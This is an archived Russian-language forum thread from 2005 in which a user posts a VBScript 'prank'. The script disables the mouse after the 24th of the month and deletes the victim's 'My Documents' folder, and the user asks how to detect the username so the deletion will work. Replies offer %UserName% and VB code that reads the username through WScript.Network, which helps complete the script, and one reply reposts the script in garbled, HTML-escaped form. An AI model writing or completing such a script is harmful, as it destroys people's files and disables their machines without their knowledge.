Скриптовое западло
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
Скриптовое западло - 2005-01-07 18:58:27
|
|
|
ArmageddON
Сообщений: 3
Оценки: 0
Присоединился: 2004-07-15 12:47:21
|
я делаю маленький скрипт (*vbs). мне нужно, что бы в XP удалилась папка "мои документы", но как известно она находиться в C:\Documents and Settings\
ИМЯ ЮЗЕРА\мои докуМЕНТЫ. А вся фмшка в том, что я незнаю "Имя юзера", надо, чтобы
она определялась, а затем удалялась! нужна Ваша помощь!!!
вот скрипт:
———————————————————–
if Day(now)>24 Then
Sub Zapadlo(SUX,Wait)
Set WShShell=WScript.CreateObject("WScript.Shell")
X=WshShell.Run(SUX.Wait)
End Sub
Call Zapadlo("rundll32 mouse,disable",True)
End if
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFolder("c:\Documents and settings\ИМЯ ЮЗЕРА!!!\мои документы")
———————————————————–
|
|
|
|
|
Скриптовое западло - 2005-01-09 00:41:20
|
|
|
Yanis
Сообщений: 63
Оценки: 0
Присоединился: 2004-04-19 00:32:13
|
IMHO проще программу написать.
У меня, например "Мои документы" находятся на E:\
|
|
|
|
|
Скриптовое западло - 2005-01-09 02:46:52
|
|
|
Maker
Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
|
%UserName%
|
|
|
|
|
Скриптовое западло - 2005-01-09 09:42:29
|
|
|
ArmageddON
Сообщений: 3
Оценки: 0
Присоединился: 2004-07-15 12:47:21
|
%username% не помогает!!![sm=scull.gif]
|
|
|
|
|
Скриптовое западло - 2005-01-09 23:20:59
|
|
|
abcdefg
Сообщений: 23
Оценки: 0
Присоединился: 2004-12-26 02:56:17
|
[p]quote:
—————-<BR>Цитата: Дата:07.01.2005 18:58:27, Автор: ArmageddON ::
я делаю маленький скрипт (*vbs). мне нужно, что бы в XP удалилась папка &amp;quot;мои документы&amp;quot;, но как известно она находиться в C:Documents and Settings\n<BR>ИМЯ &amp;#1070;ЗЕРАмои докуМЕНТЫ. А вся фмшка в том, что я незнаю &amp;quot;Имя юзера&amp;quot;, надо, чтобы<BR><BR>она определялась, а затем удалялась! нужна Ваша помощь!!!<BR><BR><BR>вот скрипт:<BR><BR>———————————————————–<BR><BR>if Day(now)&amp;gt;24 Then<BR><BR>Sub Zapadlo(SUX,Wait)<BR><BR>Set WShShell=WScript.CreateObject(&amp;quot;WScript.Shell&amp;quot;)<BR><BR>X=WshShell.Run(SUX.Wait)<BR><BR>End Sub<BR><BR>Call Zapadlo(&amp;quot;rundll32 mouse,disable&amp;quot;,True)<BR><BR>End if<BR><BR><BR>Set killer=CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)<BR><BR>killer.DeleteFolder(&amp;quot;c:Documents and settingsИМЯ &amp;#1070;ЗЕРА!!!мои документы&amp;quot;)<BR><BR>———————————————————–<BR><BR>
—————-
'// Create module "basGlobalVars"
'// Global Objects:
Global objNet As Object
'// Global Strings:
Global gsUserName As String
Global gsTerminal As String
// Insert in background form (first loaded for example)
Private Sub Form_Load()
'// Retrieve globals from Helper object:
Set objNet = CreateObject("WScript.Network")
'// Get the Network properties (UserName, ComputerName) and assign to:
gsUserName = objNet.UserName
gsTerminal = objNet.ComputerName
Me.lblUserInfo.Caption = gsUserName & " " & gsTerminal '// just for debuging
End Sub
|
|
|
|
|
Скриптовое западло - 2005-01-10 15:55:48
|
|
|
ламо ушастое
Сообщений: 646
Оценки: 0
Присоединился: 2004-08-04 14:37:11
|
Твои скрипт изначально неправильныи…
|
|
|
|
|
|
